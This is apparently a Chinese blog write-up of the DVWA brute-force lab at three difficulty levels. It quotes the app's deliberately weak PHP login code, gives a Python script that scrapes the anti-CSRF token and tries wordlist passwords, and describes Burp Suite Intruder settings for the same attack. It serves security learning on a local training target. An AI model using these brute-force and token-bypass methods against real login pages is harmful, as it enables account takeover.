闲来无事,刷各大平台的题刷的有点头昏,就来换了个菜,这才发现我是真的菜!!!
DVWA是一款渗透平台,类似于网络安全员的渗透小游戏
DVWA是一个Web应用程序,需要安装在Web服务器上,并需要MySQL数据库支持
这里用的是phpstudy集成环境
启动软件,打开MySQL和apache。
这里是在Windows环境下配置安装的DVWA。用了phpstudy集成环境
一、官网下载DVWA:http://www.dvwa.co.uk/
下载zip压缩包,解压到phpstudy的WWW
的文件目录下。
二、然后找到文件config.inc.php.dist
重命名为config.inc.php
,然后打开编辑,找到图示位置,修改账号密码。
默认账号密码是root。
三、浏览器搜索打开http://127.0.0.1/DVWA/setup.php
,进行DVWA的安装。
然后点击最下方的按钮。
四、跳转到登录界面。默认账号密码是admin、password
。登录进去
然后就直接用原始的账号密码进行登录
然后就出现了这个,目测估计是成功了,然后就开始找做题方法。
当时就直接想到了brupsuit抓包处理。
但是抓包爆破了好久没结果,整的毫无头绪的时候,就去查看了一下这道题low难度的源码,发现:
if( isset( $_GET[ 'Login' ] ) ) {
// Get username
$user = $_GET[ 'username' ];
// Get password
$pass = $_GET[ 'password' ];
$pass = md5( $pass );
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( ''
. ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
$html .= "Welcome to the password protected area {$user}
"; $html .= "{$avatar}\" />"; } else { // Login failed $html .= ""; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
Username and/or password incorrect.
然后是get方式,我再去看brupsuit抓的是post方式,才知道,做错难度了。改正之后low难度的就直接抓包爆破成功得到admin、password
。
这个难度加一的上来就直接先来一手查看源码,反手一个超级加倍
if( isset( $_GET[ 'Login' ] ) ) {
// Sanitise username input
$user = $_GET[ 'username' ];
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( ''
. ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
$html .= "Welcome to the password protected area {$user}
"; $html .= "{$avatar}\" />"; } else { // Login failed sleep( 2 ); $html .= ""; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
Username and/or password incorrect.
审计了源码之后发现,这个难度就是在上面那个low基础上增加了一个登录错误的情况下的时间停顿,增加了爆破的成本,但是还是可以直接爆破出来的。
sleep(2)//登录信息错误停顿两秒
所以直接就是还是刚刚的方法,字典都一样,就爆破出来了。
一样的结果。
上面的两个过于简单,给了我一点莫名的自信,于是在自信的驱使下来到了第三个high难度的。
老规矩,来波源码查看(毕竟要稳中求胜)。然后发现比起前两个多了一段源码。
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
然后就是checkToken 函数的意思就是说实现表单的重复提交,就是说用户的账号密码随机码按照一定的加密方式生成一个字符串用作token,然后每次用户登陆操作时就会和已保存的token进行对比,错误则返回false
。
然后经过抓包实验发现,每次的user_token
会在下一次的响应包里发送给浏览器。
源码如下:
if( isset( $_GET[ 'Login' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Sanitise username input
$user = $_GET[ 'username' ];
$user = stripslashes( $user );
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Check database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( ''
. ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
$html .= "Welcome to the password protected area {$user}
"; $html .= "{$avatar}\" />"; } else { // Login failed sleep( rand( 0, 3 ) ); $html .= ""; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } // Generate Anti-CSRF token generateSessionToken(); ?>
Username and/or password incorrect.
发现源码中加入了两个函数:stripslashes(); mysql_real_escape_string();
stripslashes(去除字符串中的反斜线字符,如果有两个连续的反斜线,则只去掉一个)、 mysql_real_escape_string对参数username、password进行过滤、转义,进一步抵御sql注入
顺便发现大佬说的无法csrf攻击,这我也不知道,所以就百度了一下什么是CSRF攻击
看了之后给我的理解说就是,用户在访问一个受信任的网站时生成了一个本地的cookie,然后在cookie未过期之前访问了另外一个危险网站,然后危险网站会发出一个request请求,同时安全的网站不知道这个操作是用户发出的还是攻击者发出的,就会进行处理,从而达到了模仿用户进行操作的目标。
然后上面抓包发现整个输入信息验证以及响应的过程总共就只有四个get型参数。username、password、login以及user_token
。
然后这个题我就放弃了brupsuit抓包,因为我懒,听说脚本挺方便的。
但是,这,,,,这涉及到我的知识盲区了啊这个,得加紧练习脚本能力了。
所以这里就贴了一个大佬的脚本,自己单纯的去运行了一下。
from bs4 import BeautifulSoup
import urllib2
header={ 'Host': '192.168.xxx.xxx', //目标主机(DVWA)的ip
'Cache-Control': 'max-age=0',
'If-None-Match': "307-52156c6a290c0",
'If-Modified-Since': 'Mon, 05 Oct 2015 07:51:07 GMT',
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36',
'Accept': '*/*',
'Referer': 'http://192.168.xxx.xxx/dvwa/vulnerabilities/brute/index.php',
'Accept-Encoding': 'gzip, deflate, sdch',
'Accept-Language': 'zh-CN,zh;q=0.8',
'Cookie': 'security=high; PHPSESSID=5re92j36t4f2k1gvnqdf958bi2'}
requrl = "http://192.168.xxx.xxx/dvwa/vulnerabilities/brute/"
def get_token(requrl,header):
req = urllib2.Request(url=requrl,headers=header)
response = urllib2.urlopen(req)
print response.getcode(),
the_page = response.read()
print len(the_page)
soup = BeautifulSoup(the_page,"html.parser")
user_token = soup.form.input.input.input.input["value"] #get the user_token
return user_token
user_token = get_token(requrl,header)
i=0for line in open("rkolin.txt"):
requrl = "http://192.168.xxx.xxx/dvwa/vulnerabilities/brute/"+"?username=admin&password="+line.strip()+"&Login=Login&user_token="+user_token
i = i+1
print i,'admin',line.strip(),
user_token = get_token(requrl,header)
if (i == 10):
break
进行一些简单的修改之后就可以运行了。
然后我发现超菜的我连白拿脚本都不配,好吧好吧,还是转brupsuit爆破吧。
打开抓包,发送到爆破那里,设置三个参数,username、password和user_token
,模式采用第三个。
然后打开options
,线程设为1,
在图示模块里点击add,
最下面设置为always。
打开之后点击Refetch response
,找到value
,记住选中value
,图中部分。然后在设置字典界面添加字典。
然后token变量部分设置为图中所示,将刚刚复制的一串字符串value值粘过来。开始爆破。
得到结果,验证正确。
等以后脚本能力提升了,我再回来补回来脚本这一部分的解法。